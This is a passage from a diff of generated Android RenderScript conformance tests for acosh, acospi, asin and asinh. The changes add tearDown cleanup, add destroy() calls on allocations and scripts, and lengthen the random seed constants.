             script.forEach_testAcoshFloat2Float2(inV, out);
             verifyResultsAcoshFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshFloat2Float2(inV, out);
             verifyResultsAcoshFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAcoshFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x2dce32cdl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf104103a2dce32cdl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAcoshFloat3Float3(inV, out);
             verifyResultsAcoshFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshFloat3Float3(inV, out);
             verifyResultsAcoshFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAcoshFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x23e953abl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf105d95523e953abl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAcoshFloat4Float4(inV, out);
             verifyResultsAcoshFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshFloat4Float4(inV, out);
             verifyResultsAcoshFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAcoshHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x78f34665l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xaa23e9f78f34665l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAcoshHalfHalf(inV, out);
             verifyResultsAcoshHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshHalfHalf(inV, out);
             verifyResultsAcoshHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAcoshHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3c4e7d9fl, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xcdd55db43c4e7d9fl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAcoshHalf2Half2(inV, out);
             verifyResultsAcoshHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshHalf2Half2(inV, out);
             verifyResultsAcoshHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAcoshHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9b564293l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xcdd568559b564293l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAcoshHalf3Half3(inV, out);
             verifyResultsAcoshHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshHalf3Half3(inV, out);
             verifyResultsAcoshHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAcoshHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfa5e0787l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xcdd572f6fa5e0787l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAcoshHalf4Half4(inV, out);
             verifyResultsAcoshHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAcoshHalf4Half4(inV, out);
             verifyResultsAcoshHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcoshHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcoshHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.java
index 1b37a07..02bc48a 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAcospi.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAcospiRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAcospiFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xd1e084b2l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x9fbdc3b5d1e084b2l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAcospiFloatFloat(inV, out);
             verifyResultsAcospiFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiFloatFloat(inV, out);
             verifyResultsAcospiFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAcospiFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xa318aa86l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xc175417fa318aa86l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAcospiFloat2Float2(inV, out);
             verifyResultsAcospiFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiFloat2Float2(inV, out);
             verifyResultsAcospiFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAcospiFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9933cb64l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xc1770a9a9933cb64l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAcospiFloat3Float3(inV, out);
             verifyResultsAcospiFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiFloat3Float3(inV, out);
             verifyResultsAcospiFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAcospiFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8f4eec42l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc178d3b58f4eec42l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAcospiFloat4Float4(inV, out);
             verifyResultsAcospiFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiFloat4Float4(inV, out);
             verifyResultsAcospiFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAcospiHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x3b7a802cl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xbfacaa983b7a802cl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAcospiHalfHalf(inV, out);
             verifyResultsAcospiHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiHalfHalf(inV, out);
             verifyResultsAcospiHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAcospiHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3efecbeel, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x661b35693efecbeel, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAcospiHalf2Half2(inV, out);
             verifyResultsAcospiHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiHalf2Half2(inV, out);
             verifyResultsAcospiHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAcospiHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x9e0690e2l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x661b400a9e0690e2l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAcospiHalf3Half3(inV, out);
             verifyResultsAcospiHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiHalf3Half3(inV, out);
             verifyResultsAcospiHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAcospiHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xfd0e55d6l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x661b4aabfd0e55d6l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAcospiHalf4Half4(inV, out);
             verifyResultsAcospiHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAcospiHalf4Half4(inV, out);
             verifyResultsAcospiHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAcospiHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAcospiHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.java
index b1b626c..13fbd33 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsin.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAsinRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAsinFloatFloat() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xf98b5a12l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x80b5674ff98b5a12l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAsinFloatFloat(inV, out);
             verifyResultsAsinFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAsinFloatFloat(inV, out);
             verifyResultsAsinFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkAsinFloat2Float2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x23f7cce6l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x9e11e5e823f7cce6l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testAsinFloat2Float2(inV, out);
             verifyResultsAsinFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAsinFloat2Float2(inV, out);
             verifyResultsAsinFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkAsinFloat3Float3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x1a12edc4l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x9e13af031a12edc4l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testAsinFloat3Float3(inV, out);
             verifyResultsAsinFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAsinFloat3Float3(inV, out);
             verifyResultsAsinFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkAsinFloat4Float4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x102e0ea2l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x9e15781e102e0ea2l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testAsinFloat4Float4(inV, out);
             verifyResultsAsinFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAsinFloat4Float4(inV, out);
             verifyResultsAsinFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkAsinHalfHalf() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x8f43a08cl, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x7191f0bd8f43a08cl, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testAsinHalfHalf(inV, out);
             verifyResultsAsinHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testAsinHalfHalf(inV, out);
             verifyResultsAsinHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkAsinHalf2Half2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x66a9a14el, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x4712d90366a9a14el, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testAsinHalf2Half2(inV, out);
             verifyResultsAsinHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testAsinHalf2Half2(inV, out);
             verifyResultsAsinHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkAsinHalf3Half3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc5b16642l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x4712e3a4c5b16642l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testAsinHalf3Half3(inV, out);
             verifyResultsAsinHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testAsinHalf3Half3(inV, out);
             verifyResultsAsinHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkAsinHalf4Half4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x24b92b36l, -1, 1);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x4712ee4624b92b36l, -1, 1);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testAsinHalf4Half4(inV, out);
             verifyResultsAsinHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testAsinHalf4Half4(inV, out);
             verifyResultsAsinHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testAsinHalf4Half4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsAsinHalf4Half4(Allocation inV, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.java
index 45ba8c8..70c4240 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestAsinh.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestAsinhRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkAsinhFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x7c4a48f4l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2cdf6bfa7c4a48f4l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testAsinhFloatFloat(inV, out);
